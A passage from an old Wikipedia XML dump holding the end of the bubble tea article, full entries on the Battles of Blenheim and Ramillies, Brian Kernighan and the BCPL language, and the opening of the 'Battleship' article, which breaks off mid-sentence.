==Trivia==
In [[September 2004]], while defending a US$18 billion weapon purchase plan, the [[Republic of China|ROC]] Ministry of National Defense used bubble tea as an example of the overall cost of the proposed purchase. The Ministry stated that the total cost of the weapons systems would be equivalent to the money saved if all Taiwanese drank one fewer pearl milk tea per week for a period of twenty years.

==See also==
* [[Taiwanese cuisine]]

==Bubble tea vendors==
* [[Lollicup]]
* [[Q-Cup]]
* [[Quickly]]
* [[Tapioca Express]]
* [[Easy Way]]

==External links==
{{cookbook}}
* [http://www.bubbletearecipe.com/ Free bubble tea / boba tea recipes]
* [http://www.cnn.com/2000/FOOD/news/11/27/bubble.tea.ap/ CNN - Tapioca milk tea creating waves as fun coffee alternative]
* [http://www.jorbins.com/food-drink-magazine/articles/bubble-tea-origin.php The Tale of &quot;The Bubble Tea Origin&quot;]
* [http://www.bobafind.com/ US Bubble tea cafe locator]
* [http://www.msnbc.msn.com/id/6063203/ MSNBC - Can drinking less tea defend a nation?]
* [http://www.abc.net.au/news/newsitems/200409/s1204428.htm NBC - Taiwanese urged to cut tea to pay for US arms]

[[Category:Taiwanese cuisine]]
[[Category:Tea]]

[[id:Bubble tea]]
[[ja:タピオカティー]]
[[zh:珍珠奶茶]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Blenheim</title>
    <id>4049</id>
    <revision>
      <id>40814571</id>
      <timestamp>2006-02-23T04:41:39Z</timestamp>
      <contributor>
        <ip>213.173.155.208</ip>
      </contributor>
      <comment>fi</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Blenheim
|image=
|caption=
|partof=the [[War of the Spanish Succession]]
|date=[[August 13]], [[1704]]
|place=[[Blindheim|Blenheim]], [[Bavaria]]
|result=Decisive Allied victory
|combatant1=[[Kingdom of England|England]]&lt;br&gt;[[Austria]]&lt;br&gt;[[Dutch Republic|United Provinces]], Allies
|combatant2=[[France]]&lt;br&gt;[[Bavaria]]
|commander1=[[John Churchill, 1st Duke of Marlborough|Duke of Marlborough]]&lt;br&gt;[[Eugene of Savoy]]
|commander2=[[Camille de Tallard]]&lt;br&gt;[[Maximilian II Emanuel, elector of Bavaria|Maximilian II Emanuel]]
|strength1=52,000
|strength2=60,000
|casualties1=12,000 dead or wounded
|casualties2=15,000 dead or wounded &lt;br&gt; 15,000 captured
}}
{{Campaignbox War of the Spanish Succession}}

The '''Battle of Blenheim''' (In Germany known as ''Battle of Höchstädt'') was a major battle of the [[War of the Spanish Succession]], fought on [[August 13]], [[1704]]. 

==Preparations==

A [[France|French]] and [[Bavaria]]n army, under Count [[Camille de Tallard]] and [[Maximilian II Emanuel, elector of Bavaria]], were advancing on the [[Austria]]n capital of [[Vienna]]. To counter this threat, the [[Kingdom of England|English]] army under [[John Churchill, 1st Duke of Marlborough|Duke of Marlborough]] and his [[Dutch Republic|Dutch]] allies rapidly marched south from the [[Low Countries]] to the [[Danube River]], a major logistical effort at the time.  The Austrian commander [[Eugene of Savoy]] moved north to join Marlborough's troops.  They encountered their opponents at the small Bavarian village of [[Blindheim|Blenheim]] (in German, Blindheim), near [[Höchstädt]], [[Germany]]. 

==The Battle==
The [[Ally|allied]] army had 52,000 men. Marlborough, commanding the Dutch, English, Hanoverian, Prussian, Hessian and Danish contingents, was in the centre, Eugene on the right, and a third group was on the left &amp;mdash; up against the Danube. The French and Bavarians numbered some 60,000. The battle opened with the allied left attacking the French right twice and being driven back, while the French left attacked Eugene's forces on the right, which held their ground. As the French centre (uncommonly consisting of cavalry) was weakened by the need to reinforce the engaged flanks, Marlborough attacked and routed it. Wheeling left he rolled up the flank of the French right, driving many into the river and removing them from the battle. Savoy's troops then cleaned up the remaining adversaries on his side. French casualties were approximately 30,000, split evenly between those taken prisoner and those who were wounded or killed. The allies suffered about 12,000 casualties.

==Outcome==

The Battle of Blenheim was a decisive victory for the allies, and the French were thrown back across the [[Rhine]]. [[Bavaria]] was knocked out of the war and occupied, and the French allies of [[Savoy]] and [[Portugal]] promptly changed sides.

The battle was one of the first major English victories on the continent since the [[Battle of Agincourt]] nearly 300 years before.  British historian Sir [[Edward Creasy]] considered the battle of Blenheim to be one of the pivotal battles in history.  He wrote: &quot;Had it not been for Blenheim, all Europe might at this day suffer under the effect of French conquests resembling those of [[Alexander the Great|Alexander]] in extent and those of the [[Roman Empire|Romans]] in durability.&quot;  After the battle [[Blenheim Palace]] was built for the Duke of Marlborough in recognition of the service to his country during the battle. A good number of English streets (13 in the London ''A-Z'') bear the name to this day.

== See also ==
One of the [[Royal Air Force|RAF]]'s fast fighter bombers of the [[Battle of Britain]], the [[Bristol Blenheim]], is named in commemoration of this battle.

The Battle of Blenheim inspired  [[Robert Southey]] to write the anti-war poem &quot;After Blenheim&quot;. See  [[http://www.answers.com/topic/after-blenheim]]

[[Category:Battles of the War of the Spanish Succession|Blenheim]]

[[cs:Bitva u Höchstädtu]]
[[de:Schlacht von Höchstädt]]
[[fr:Bataille de Blenheim]]
[[no:Slaget ved Blenheim]]
[[pl:Bitwa pod Blenheim]]
[[pt:Batalha de Blenheim]]
[[fi:Blenheimin taistelu]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Ramillies</title>
    <id>4050</id>
    <revision>
      <id>41965924</id>
      <timestamp>2006-03-02T22:52:41Z</timestamp>
      <contributor>
        <username>Raymond Palmer</username>
        <id>859967</id>
      </contributor>
      <minor />
      <comment>spelling</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Ramillies
|image=
|caption=
|partof=the [[War of the Spanish Succession]]
|date=[[May 23]], [[1706]]
|place=Near [[Ramillies, Belgium|Ramillies]]
|result=Decisive Allied victory
|combatant1=[[Kingdom of Great Britain|Britain]], [[Netherlands]], Allies
|combatant2=[[France]], [[Spain]], [[Bavaria]]
|commander1=[[John Churchill, 1st Duke of Marlborough|Duke of Marlborough]]
|commander2=[[François de Neufville, duc de Villeroi|duc de Villeroi]]&lt;br&gt;[[Maximilian II Emanuel, elector of Bavaria|Maximilian II Emanuel]]
|strength1=62,000
|strength2=60,000
|casualties1=3,620 dead or wounded
|casualties2=12,000 dead, wounded, or captured
}}
{{Campaignbox War of the Spanish Succession}}

The '''Battle of Ramillies''' was a major battle in the [[War of Spanish Succession]], [[May 23]], [[1706]].  The [[John Churchill, 1st Duke of Marlborough|Duke of Marlborough]], leading English, Dutch, and German troops, decisively defeated a French army led by the [[François de Neufville, duc de Villeroi|duc de Villeroi]] at Ramillies-Offus, near [[Namur (city)|Namur]], on the bank of the river Mehaigne in [[Brabant]].  This victory cleared the French from the [[Spanish Netherlands]], and led to the capture of the cities of [[Antwerp]], [[Bruges]], and [[Ghent, Belgium|Ghent]].

The two armies were evenly matched, with about 50,000 men apiece.  The battle began when the English attacked, over the Little Geete, the French left.  The French reserve was drawn away to meet the English attack.  While this was going on on the French left, the French cavalry was able to defeat the Allied cavalry on the right.  Marlborough ordered his right wing cavalry to move to his left to stabilize the cavalry battle there.  He also ordered his battalions on his right to withdraw to their original positions.  When the Allied then launched an attack against the French center and left, the French reserve was not in a position to stop the attack, having been drawn away early in the battle.  The French attempted to form a second line, but it did not hold.  The French were routed, and the battle ended with the Allied capturing 5,600 prisoners.

[[Category:1706]]
[[Category:Battles of the War of the Spanish Succession|Ramillies 1706]]
[[Category:Battles of France|Ramillies 1706]]
[[Category:Battles of Spain|Ramillies 1706]]
[[Category:Battles of Bavaria|Ramillies 1706]]
[[Category:Battles of the United Provinces|Ramillies 1706]]
[[Category:Battles of the United Kingdom|Ramillies 1706]]

{{battle-stub}}
{{France-hist-stub}}
{{Germany-hist-stub}}
{{Netherlands-hist-stub}}
{{Spain-hist-stub}}
{{UK-hist-stub}}

[[cs:Bitva u Ramillies]]
[[da:Slaget ved Ramillies]]</text>
    </revision>
  </page>
  <page>
    <title>Brian Kernighan</title>
    <id>4051</id>
    <revision>
      <id>39124347</id>
      <timestamp>2006-02-10T21:44:39Z</timestamp>
      <contributor>
        <username>Aaronw</username>
        <id>246242</id>
      </contributor>
      <comment>changed K&amp;R C to point to book</comment>
      <text xml:space="preserve">'''Brian W. Kernighan''' (pronounced ''Ker'-ni-han''; the 'g' is silent; born [[1942]]) is a [[computer scientist]] who worked at the [[Bell Labs]] and contributed to the design of the pioneering [[AWK programming language|AWK]] and [[AMPL programming language|AMPL]] [[programming language]]s.

Kernighan's name became widely known through co-authorship of the first book on the [[C programming language]] with [[Dennis Ritchie]].  Kernighan has said that he had no part in the design of the C language: &quot;It's entirely Dennis Ritchie's work&quot;. He authored many [[Unix]] programs, including [[ditroff]].

The &quot;K&quot; of [[The C Programming Language (book)|K&amp;R C]] and the &quot;K&quot; in the name AWK derive from &quot;Kernighan.&quot;

He was born in [[Toronto]], [[Ontario]], [[Canada]] and received his [[Bachelor's degree]] in [[Engineering Physics]] from the [[University of Toronto]]. He received his Ph.D. in [[electrical engineering]] from [[Princeton University]], where since [[2000]] he has held a professorship in the department of computer science. 

==Writings==
*''[[Software Tools]]'' ([[1976]] with [[P. J. Plauger]])
*''[[The C Programming Language (book)|The C Programming Language]]'' (&quot;K&amp;R&quot;) ([[1978]] with [[Dennis Ritchie]])
*''[[The Elements of Programming Style (book)|The Elements of Programming Style]]'' ([[1982]] with [[P. J. Plauger]])
*''[[The Unix Programming Environment]]'' ([[1984]] with [[Rob Pike]])
*''[[The AWK Programming Language]]'' ([[1988]] with [[Peter J. Weinberger]])
*''[[The Practice of Programming]]'' ([[1999]] with [[Rob Pike]])

== External links ==
*[http://www.cs.princeton.edu/~bwk/ Brian Kernighan's home page at Princeton U.]
*[http://cm.bell-labs.com/who/bwk/ Brian Kernighan's home page at Bell Labs]
*[http://www.lysator.liu.se/c/bwk-on-pascal.html &quot;Why Pascal is Not My Favorite Programming Language&quot;] &amp;ndash; By Brian Kernighan, AT&amp;T Bell Labs, [[2 April]] [[1981]]
*[http://www-2.cs.cmu.edu/~mihaib/kernighan-interview/index.html An Interview with Brian Kernighan] &amp;ndash; By Mihai Budiu, for ''PC Report Romania'', August 2000
*[http://www.linuxjournal.com/article.php?sid=7035 Interview with Brian Kernighan] &amp;ndash; By Aleksey Dolya, for ''Linux Journal'', July 2003.

[[Category:1942 births|Kernighan, Brian]]
[[Category:Living people|Kernighan, Brian]]
[[Category:Canadian computer scientists|Kernighan, Brian]]
[[Category:Computer pioneers|Kernighan, Brian]]
[[Category:Programmers|Kernighan, Brian]]
[[Category:Technology writers|Kernighan, Brian]]
[[Category:Torontonians|Kernighan, Brian]]
[[Category:Unix people|Kernighan, Brian]]

[[cs:Brian Kernighan]]
[[de:Brian W. Kernighan]]
[[es:Brian W. Kernighan]]
[[eo:Brian KERNIGHAN]]
[[fr:Brian Kernighan]]
[[ko:브라이언 커니핸]]
[[it:Brian Kernighan]]
[[nl:Brian Kernighan]]
[[ja:ブライアン・カーニハン]]
[[pt:Brian Kernighan]]</text>
    </revision>
  </page>
  <page>
    <title>BCPL</title>
    <id>4052</id>
    <revision>
      <id>33189743</id>
      <timestamp>2005-12-30T00:52:00Z</timestamp>
      <contributor>
        <username>Atlant</username>
        <id>124135</id>
      </contributor>
      <comment>Adjust Wikilink</comment>
      <text xml:space="preserve">'''BCPL''' ('''Basic Combined Programming Language''') is a [[computer]] [[programming language]] that was designed by [[Martin Richards]] of the [[University of Cambridge]] in [[1966]]; it was originally intended for use in writing [[compiler]]s for other languages. Although not widely used now, it was very influential, because [[Dennis Ritchie]] would later develop the widely-used [[C programming language]] from BCPL.

BCPL was a response to difficulties with its predecessor [[Combined Programming Language|CPL]], created during the early [[1960s]]; Richards created BCPL by &quot;removing those features of the full language which make compilation difficult&quot;. The first compiler implementation, for the [[IBM 7094]] under [[CTSS]], was written while Richards was visiting [[Project MAC]] at [[Massachusetts Institute of Technology|MIT]] in the spring of [[1967]]. The language was first described in a paper presented to the [[1969 Spring Joint Computer Conference]]. 

The language is clean, powerful, and portable. It therefore proved possible to write small and simple compilers for it; reputedly some compilers could be run in 16 [[kilobyte]]s. In addition, the Richards compiler, itself written in BCPL, was easily portable. BCPL was therefore a popular choice for [[bootstrapping]] a system.

A major reason for the compiler's portability lay in its structure. It was split into two parts: the front end parsed the source and generated [[O-code machine|O-code]] for a [[virtual machine]], and the backend took the O-code and translated it into the code for the target machine. Only 1/5th of the compiler's code needed to be rewritten to support a new machine, a task that usually took between 2 and 5 [[man-month]]s. Soon afterwards this structure became fairly common practice, cf. [[Pascal programming language|Pascal]] or [[Java programming language|Java]], but the Richards BCPL compiler was the first to define a virtual machine for this purpose.

The language is unusual in having only one [[data type]]: a [[word (computer science)|word]], a fixed number of bits, usually chosen to align with the architecture's machine word. This choice later proved to be a significant problem when BCPL was used on machines in which the smallest addressable item was not a word, but a [[byte]].

The interpretation of any value was determined by the operators used to process the values. (For example, + added two values together treating them as [[integer]]s; ! indirected through a value, effectively treating it as a pointer.) In order for this to work, the implementation provided no [[type checking]]. The [[Hungarian Notation]] was developed to help programmers avoid inadvertent type errors.

It is reputedly the language in which the original [[hello world program]] was written. The first [[MUD]] was also written in BCPL [http://www.mudconnect.com/mud_intro.html].

Several operating systems were written partially or wholly in BCPL (for example, [[TRIPOS]] or [[AmigaOS#Kickstart|Amiga Kickstart]]). BCPL was also the initial language used in the seminal [[Xerox PARC]] [[Alto (computer)|Alto]] project, the first modern [[personal computer]]; among many other influential projects, the ground-breaking [[Bravo (software)|Bravo]] [[document preparation system]] was written in BCPL.

By 1970, implementations existed for the [[Honeywell 635]] and [[Honeywell 645|645]], the [[IBM 360]], the [[TX-2]], the [[CDC 6400]], the [[Univac 1108]], the [[Programmed Data Processor|PDP-9]], the [[KDF 9]] and the [[Atlas 2]]. In 1979 implementations existed for at least 25 architectures; in 2001 it sees little use.

The philosophy of BCPL can be summarised by quoting from the book ''BCPL, the language and its compiler'':  
:''The philosophy of BCPL is not one of the tyrant who thinks he knows best and lays down the law on what is and what is not allowed; rather, BCPL acts more as a servant offering his services to the best of his ability without complaint, even when confronted with apparent nonsense.  The programmer is always assumed to know what he is doing and is not hemmed in by petty restrictions.''

The design, and philosophy, of BCPL strongly influenced [[B programming language|B]], which in turn influenced [[C programming language|C]]. C is now the language of choice for [[systems programming]].

== Sources ==
* Martin Richards, ''[http://cm.bell-labs.com/cm/cs/who/dmr/bcpl.html The BCPL Reference Manual]'' (Memorandum M-352, Project MAC, Cambridge, July, 1967)
* Martin Richards, ''BCPL - a tool for compiler writing and systems programming'' ('''Proceedings of the Spring Joint Computer Conference''', Vol 34, pp 557-566, 1969)
* Martin Richards, Arthur Evans, Robert F. Mabee, ''The BCPL Reference Manual'' (MAC TR-141, Project MAC, Cambridge, 1974)
* Martin Richards, C. Whitby-Strevens, ''BCPL, the language and its compiler'' (Cambridge University Press, 1980) ISBN 0-521-28681-6

== External links==
* [http://www.cl.cam.ac.uk/users/mr/BCPL.html Martin Richards' BCPL distribution]
* [http://cm.bell-labs.com/cm/cs/who/dmr/bcpl.html Martin Richards's BCPL Reference Manual] by Dennis M. Ritchie also includes some fascinating commentary from him about BCPL's influence on C
* [http://www.catb.org/~esr/jargon/html/B/BCPL.html BCPL entry] in the [[Jargon File]]

[[Category:Historical programming languages]]
[[Category:Systems programming languages]]

[[da:BCPL]]
[[de:BCPL]]
[[es:BCPL]]
[[fr:BCPL]]
[[it:BCPL]]
[[ja:BCPL]]
[[pl:BCPL]]
[[pt:Linguagem de programação BCPL]]</text>
    </revision>
  </page>
  <page>
    <title>Battleship</title>
    <id>4054</id>
    <revision>
      <id>41884635</id>
      <timestamp>2006-03-02T10:09:29Z</timestamp>
      <contributor>
        <username>Buldożer</username>
        <id>418340</id>
      </contributor>
      <minor />
      <comment>/* &quot;All-big-guns&quot; */</comment>
      <text xml:space="preserve">:''This article is about the type of warship. See also [[Battleship (game)]].''

[[Image:Battleship1.jpg|thumb|250px|[[HMS Victory|HMS ''Victory'']] in [[1884]].]]
&lt;!-- the dreadnought pic is in the article later in a more appropriate place--&gt;

'''Battleship''' was the name given to the most powerfully [[naval artillery|gun-armed]] and most heavily [[armor|armor]]ed classes of [[warship]]s between the [[15th century|15th]] and [[20th century|20th centuries]]. Battleships evolved from [[northern Europe]]an [[cog (ship)|cog]]s, and included [[carrack]]s and [[galleon]]s in the 16th Century, [[ships of the line]] in the [[17th century|17th]] and [[18th century|18th Centuries]], broadside [[ironclads]] in the [[19th Century]], and [[Dreadnought]]s in the 20th Century. During [[World War II]] (1939-45) they were superseded as the deciding factor at sea by [[aircraft carrier]]s.

Battleships were designed to engage similar enemy warships with direct or indirect fire from an arsenal of main guns.  As a secondary role, they were capable of bombarding targets on and near an enemy coast to support infantry assaults.  After World War II some continued to be used for shore bombardment and as [[missile]] platforms until the early [[1990s]].

The word &quot;battleship&quot; originated with the development of the [[line of battle|line-of-battle]] tactic, in which ships usually followed each other single-file and engaged the enemy ships to one side, in the mid [[17th century]]. Ships expected to form part of this line were called [[ship of the line|''ships-of-the-line-of-battle'']] or ''line-of-battle ships'', eventually reducing to ''battleship''.  They were divided into several classes - [[first-rate|first-]], [[second-rate|second-]] and [[third-rate]]s. Fourth- and fifth-rates were [[frigate]]s, and sixth-rates were [[sloop-of-war|sloops]] (strictly &quot;sloops-of-war&quot;).  These vessels were used for communications and reconnaissance and did not usually fight in fleet encounters. Although this classification worked well in the [[18th Century]], from the middle of the [[19th Century]], the terminology became confused by the introduction of large steam-powered armoured single-deck ships with a small number of very powerful guns.  These were technically frigates because they had a single gundeck, but they were designed to fight as ships of the line, and were the most potent warships of their time.

==Early battleships==
[[Image:Spanish Galleon.jpg|thumb|right|A [[16th century]] Spanish [[galleon]].]]

The origin of the concept of the battleship can be found in the &quot;great ships&quot;, such as [[galleons]], which had existed in several [[Europe]]an countries since around [[1410]].  These large Western ships were themselves preceded by the great sailing [[Junk (sailing)|junks]] of the [[Chinese Empire]], described by various travelers to the East such as [[Marco Polo]] and [[Niccolò Da Conti]], and used during the travels of Admiral [[Zheng He]] in the early 15th century, by the various cogs and busses in the Baltic Sea region, and galleasses and mahons in the Mediterranean Sea, but it was in northern Europe and Spain that these vessels developed. They had natural advantages over the commonly-used galleys, in that they were more suited to the rough weather outside the Mediterranean and Baltic seas (where the galley hung on until the 1800s), and their high stature allowed boarding and scouting advantages.

Following the development of the [[line of battle]], first used by [[Spain]], the [[Netherlands]] and [[England]] in the early [[17th century]], battleships became for over 300 years the main instrument of [[naval warfare]] by European countries, allowing nations such as the [[Netherlands]], [[Spain]], [[France]] and the [[United Kingdom]], to create and maintain trade-based overseas empires.

In the 17th century [[Naval fleet|fleet]]s could consist of almost a hundred ships of various sizes, but by the mid [[18th century]], ship-of-the-line design had settled on a few standard types: older [[two-decker]]s (i.e. with two complete decks of guns firing through side ports) of 50 guns (which were too weak for the battle-line but could be used to escort [[convoy]]s), two-deckers of between 64 and 90 guns which formed the main part of the fleet, and larger [[three-decker|three]]- or even four-deckers with 98&amp;ndash;144 guns which were used as admirals' command ships.  Fleets consisting of perhaps 10&amp;ndash;25 of these ships, with their attendant supply ships and scouting and messenger frigates kept control of the sea-lanes for major European naval powers whilst restricting sea-borne trade of enemies.

Although Spain, the Netherlands and France built huge fleets, they were rarely able to match the skill of British naval crews.  British crews excelled, in part, because they spent much more time at sea, were generally better fed, and were generally more competent as the [[Royal Navy]] based promotion on merit rather than lordship.  In addition, with no large land army to support, the United Kingdom was always free to devote more resources to her prized navy.

In the [[North Sea]] and [[North Atlantic Ocean]] the fleets of the United Kingdom, the Netherlands, France and Spain fought numerous battles in support of their land armies and to deny the enemy access to trade routes.  In the [[Baltic Sea]], [[Sweden]], [[Denmark]], the Netherlands and [[Russia]] did likewise, while in the [[Mediterranean Sea]] Russia, [[Ottoman Empire|Ottoman Turkey]], [[Venice]], the United Kingdom and France battled for control of the [[Balkans]], [[Egypt]] and [[Malta]].

[[Image:HMS Howe (1859).jpg|thumb|300px|HMS ''Howe'' (1860)|[[HMS Howe (1860)|HMS ''Howe'']] in the late 19th Century]]

During the [[Napoleonic Wars]], the [[United Kingdom]] defeated Europe's major naval powers at battles such as at [[Battle of Copenhagen|Copenhagen]] and [[Trafalgar]], allowing the Royal Navy to establish itself as the world's primary naval power.  Spain, Denmark and Portugal largely stopped building battleships during this time under duress from the British. The United Kingdom emerged from the [[Napoleonic Wars]] in [[1815]] with the largest and most professional navy in the world, composed of hundreds of wooden, sail-powered ships of all sizes and classes.  The [[Royal Navy]] had complete naval supremacy across the world following the Napoleonic Wars, and demonstrated this superiority during the [[Crimean War]] in the [[1850s]].

==Industrial Age==
However, from the early [[1840s]] onwards, several technological innovations started to revolutionize the conception of warships.  Reliable [[steam power]] made warships much more maneuverable, and became the obvious choice against sail as soon as the issue of long-distance travel and re-coaling was solved.  Naval guns with exploding shells, capable of penetrating wooden hulls and setting them on fire, were invented by the French Admiral [[Henri-Joseph Paixhans]], and adopted from [[1841]] by the navies of France, the United Kingdom, Russia and the United States.  Their efficacy, largely proven during the [[Crimean War]] in turn led to the development of the first ironclad warships in [[1859]], and the subsequent generalization of [[Wrought iron|iron]] hulls.  In the [[1860s]] major naval powers built &quot;armoured frigate&quot; type ships, which, although having only one gundeck, were used as battleships, not frigates.  The first [[steel]]-hulled ships then appeared in [[1876]], with the launch of the French [[French ship Redoutable (1876)|''Redoutable'']].

===Explosive-shell naval guns===
Although explosive shells had long been in use in ground warfare (in [[howitzer]]s and [[mortar (weapon)|mortar]]s), they could only be fired at high angles in elliptical [[trajectory|trajectories]] and with relatively low [[velocity|velocities]], which rendered them impractical for marine combat.  Naval combat had required flat-trajectory guns in order to have some odds of hitting the target, so that naval warfare had consisted for centuries in encounters between flat-trajectory cannons using inert cannonballs, which a wooden boat could rather easily absorb.

The French general [[Henri-Joseph Paixhans]] developed a time-delay mechanism which, for the first time, allowed shells to be fired safely by high-powered and hence flat-trajectory guns.  The effect of explosive shells against wooden hulls causing fires was devastating.  The first Paixhans guns were produced in 1841 and France, the United Kingdom, Russia and the United States adopted the new naval guns in the 1840s.  The change on naval warfare was demonstrated to its greatest effect when the [[Russian Navy]] equipped with these guns annihilated the Turkish fleet at the [[Battle of Sinop]] in [[1853]].

From [[1854]], the American [[John A. Dahlgren]], took the Paixhans gun, which was designed only for a shell, to develop a gun capable of firing shot and shell, and these were used during the [[American Civil War]] ([[1861]]-[[1865]]).

===Steam battleships===
Before the experimental adoption of the [[screw]] in warships in the 1840s, the only available steam technology was that of the [[paddle wheel]]s, which, due to their positioning on the side of the hull and the large machinery they required, were not compatible with the broadside cannon layout of the battleships.  The screw was therefore the only technological option for the development of steam battleships.

[[Image:Napoleon(1850).jpg|thumb|300px|''[[Le Napoléon (1850)|Le Napoléon]]'' (1850), the first purpose-built steam battleship.]]
The [[French Navy]] battleship ''[[Le Napoléon (1850)|Le Napoléon]]'' became the first purpose-built steam battleship in the world when she was launched in [[1850]] &lt;ref&gt;''&quot;Napoleon (90 guns), the first purpose-designed screw line of battleships&quot;'', &quot;Steam, Steel and Shellfire&quot;, Conway's History of the Ship (p39)&lt;/ref&gt;. She was also the first screw battleship, and is considered as the first true steam battleship &lt;ref&gt;''&quot;Hastened to completion Le Napoleon was launched on 16 May 1850, to become the world's first true steam battleship&quot;'', &quot;Steam, Steel and Shellfire&quot;, Conway's History of the Ship (p39)&lt;/ref&gt;. In the United Kingdom, the ''[[HMS Agamemnon (1852)|Agamemnon]]'' was ordered in [[1849]] as a response to rumours of the French development, and commissioned in [[1853]].

The United Kingdom had developed a few harbour-protection units with screw/steam propulsion in the [[1840]]s, called &quot;[[blockship]]s&quot; or &quot;steam-guard-ships&quot;, which were conversions of small traditional battleships cut down into floating batteries, with ballast removed, and a jury rig with a medium 450 [[Horsepower|hp]] engine for speeds of 5.8 [[kts]] to 8.9 kts installed. These ships, converted in 1846, were the ''Blenheim'', ''[[HMS Ajax (1809)|Ajax]]'' and their sisters &lt;ref&gt;&quot;A Century of Naval Construction&quot;&lt;/ref&gt;.  The United Kingdom was however reluctant to develop regular steam battleships, apparently due to her commitment to long-distance, worldwide operation, for which, at that time, sail was still thought the most appropriate and reliable mode of propulsion.

Eight sister ships to ''Le Napoléon'' were built in France over a period of ten years, as the United Kingdom soon managed to take the lead in production, in number of both purpose-built and converted units. Altogether, France built 10 new wooden steam battleships and converted 28 from older battleship units, while the United Kingdom built 18 and converted 41 &lt;ref&gt;''Steam, Steel and Shellfire'', Conway's History of the Ship (p41)&lt;/ref&gt;.
In the end, France and the United Kingdom were the only two countries to develop fleets of wooden steam battleships, although several other navies are known to have had at least one unit, built or converted with British technical support ([[Russia]], [[Turkey]], [[Sweden]], [[Naples]], [[Denmark]] and [[Austria]]).

===Ironclads===
[[Image:La Gloire.jpg|thumb|300px|[[FS Gloire (1858-1883)|''La Gloire'']], the first ocean-going [[ironclad]] warship ([[1858]])]]

The United Kingdom's naval supremacy was further challenged in [[1859]] when France launched [[FS Gloire (1858-1883)|''La Gloire'']], the first ocean-going [[ironclad]] warship.  ''La Gloire'' was developed as a ship of the line, in effect a battleship cut to one deck due to weight considerations. Although made of wood and reliant on sail for most of her journeys, ''La Gloire'' was fitted with a propeller and her wooden hull was protected by a layer of thick iron armour.  This ship instantly rendered all British battleships obsolete, as British vessels would easily be outmaneuvered and their [[cannonball]]s would simply bounce off ''Gloire's'' revolutionary metal armour. The United Kingdom sparked a massive naval [[arms race]] by launching the superior all-iron [[HMS Warrior (1860)|''Warrior'']] in [[1860]].  The improvements in ship design that followed made both ships obsolescent within 10 years.  With the Royal Navy's &quot;wooden walls&quot; rendered obsolete by the new breed of ironclad ships, other world powers seized the opportunity to build high-tech warships to rival British vessels, and major warship construction programmes began in earnest in the United Kingdom, France, [[Italy]], [[Austria-Hungary]], Russia and [[Prussia]]/[[Germany]].  Intent to maintain naval superiority (under the premise that the Royal Navy had to outnumber the world's next two largest navies combined), the British government spent more and more money on up-to-the-minute warship designs.

===Turrets and rifled guns===
Soon after, however, turreted guns began to be used, following the designs of the Swedish [[shipwright]] [[John Ericsson]] and the British inventor [[Cowper Phipps Coles|Capt. Cowper Coles]].  This was largely necessitated by the introduction of [[paddle wheel]]s, which prevented ships from displaying lines of guns along their sides.  [[Turret]]s allowed the guns to fire on both beams, so fewer guns needed to be carried.  In the 1870s the armoured frigate type, with its side-ported guns, dropped out of fashion.  Armoured cruisers, which were first built with broadside guns, soon adopted turrets as well.  The transition from [[smoothbore]] cannon to [[Rifled Muzzle Loader]]s and [[Rifled Breech Loader]]s greatly affected the design of the ships. The fear that an enemy naval power could launch an attack with ships that were only slightly superior became a major factor in British defence policy during the late [[19th Century]].  Warship technology was advancing so rapidly from 1865-1906 that new battleships were often rendered obsolete within a few years of construction.  This created a huge financial strain - by 1870, the British government was spending a staggering 37% of its annual national budget on the construction of new battleships.

=== [[Gunpowder]] advances ===
[[Black powder]] combusted rapidly, and therefore useful [[cannon]]s required relatively short barrels, otherwise the friction of the barrel would slow down the shell accelerated by the violent expansion of the powder.  The sharpness of the black powder explosion also meant that guns were subjected to extreme material stress.  One important step was to press the powder into pellets.  This kept the ingredients from separating and allowed some control of combustion by choosing the pellet size.  Brown powder (black powder, &quot;incorporating charcoal that was only partially carbonized&quot; [http://footguards.tripod.com/06ARTICLES/ART28_blackpowder.htm]), which combusted less rapidly, allowed longer barrels, which allowed greater accuracy; and because it expanded less sharply than regular black powder, it put less strain on the insides of the barrel, allowing guns to last longer and to be manufactured to tighter tolerances.

The development of [[smokeless powder]] was a critical step in the creation of the modern battleship.  It did not seriously impede vision.  The energy content, and therefore the propulsion, is much greater than that of black powder, its rate of combustion can be controlled by choosing the right mixture, it resists detonation and it has little tendency to corrode the metal of the gun.

These advances permitted a battleship to mount fewer guns to greater effect than its predecessors.

===Steel battleships===
[[Image:LeRedoutablePhoto.jpg|thumb|300px|The French ''Redoutable'' (1876), the first battleship to use steel as the main building material]]

Compared to [[iron]], [[steel]] allowed for greater structural strength for a lower weight. [[France]] was the first country to manufacture steel in large quantities, using the [[Carl Wilhelm Siemens|Siemens]] process.  The French Navy's [[French battleship Redoutable (1876)|''Redoutable'']], laid down in 1873 and launched in 1876 was a central battery and [[barbette]] warship which became the first battleship in the world to use [[steel]] as the principal building material &lt;ref&gt;Conway Marine, ''Steam, Steel and Shellfire'' (p96)&lt;/ref&gt;. At that time, steel plates still had some defects, and the outer bottom plating of the ship was made of [[wrought iron]].

Warships with all-steel constructions were later built by the [[Royal Navy]], with the dispatch vessels ''Iris'' and ''Mercury'', laid down in 1875 and 1876. For these, the United Kingdom initially adopted the Siemens process, but then shifted to the more economical [[Bessemer process|Bessemer]] steel manufacturing process, so that all subsequent ships were all-steel, other than some cruisers with composite hulls (iron/steel framing and wood planking).

===Design experiments===
From [[1870]] to [[1890]] battleship design was in a wildly experimental phase, as different navies experimented with different turret arrangements, sizes and numbers, with each new design rendering the previous ones largely obsolete overnight.  Unlike the British the French often built a single example of each new design.  Therefore the French navy was mocked as a &quot; fleet of samples&quot;.  Bizarre experimental warships appeared&amp;mdash;a series of German warships were built with dozens of small guns to repel smaller craft, a British vessel was built using a [[turbine]] engine (which ironically became the main propulsion system for all ships), whilst an entire class of French battleships such as the 1896 [[French battleship Bouvet|''Bouvet'']] &amp;mdash; known as &quot;fierce-face&quot; designs &amp;mdash; were developed without regard to symmetry or harmony of appearance, and favoured an aggressive look.  The main battleship nations during this period were the United Kingdom, France and Russia, plus newcomers Germany, [[Austria-Hungary]] and Italy, while Turkey and Spain built small numbers of armoured [[frigate]]s and [[cruiser]]s, and Sweden, Denmark, Norway and the Netherlands built smaller &quot;coastal battleships&quot; ([[Panzership|&quot;Pantserschip&quot; or &quot;Panzership&quot; depending on the language]]) of up to 5,000 tons.  Some navies experimented with &quot;second class battleships,&quot; vessels which were designed to be less expensive than full battleships but also at the cost of power; these were not, however, particularly popular, especially 